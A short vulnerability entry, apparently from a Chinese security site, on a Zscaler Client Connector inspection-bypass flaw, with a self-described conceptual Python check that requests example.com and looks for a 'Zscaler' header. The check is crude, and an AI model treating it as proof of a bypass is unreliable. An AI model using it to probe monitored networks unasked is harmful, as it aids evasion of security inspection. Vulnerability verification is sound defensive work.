CVE-2026-22569 Zscaler Client Connector流量检查绕过漏洞

# PoC Concept: Check if traffic bypasses the Zscaler inspection # Note: This is a conceptual verification script. Actual exploitation requires specific environmental conditions. import socket import requests def check_inspection_bypass(target_url): """ Attempts to connect to a target and checks if the connection bypasses the expected proxy/inspection interface. """ try: # In a vulnerable state, traffic might not go through the Zscaler proxy # resulting in a direct connection or a different routing path. response = requests.get(target_url, timeout=5) # Check headers or response characteristics that indicate inspection if 'Zscaler' not in response.headers: print("[+] Potential Bypass Detected: Traffic does not appear to be inspected by Zscaler.") return True else: print("[-] Traffic is being inspected normally.") return False except Exception as e: print(f"[!] Error during check: {e}") return False if __name__ == "__main__": # Replace with a test endpoint known to be blocked or modified by Zscaler policies test_target = "http://example.com" print(f"[*] Checking traffic inspection for: {test_target}") check_inspection_bypass(test_target)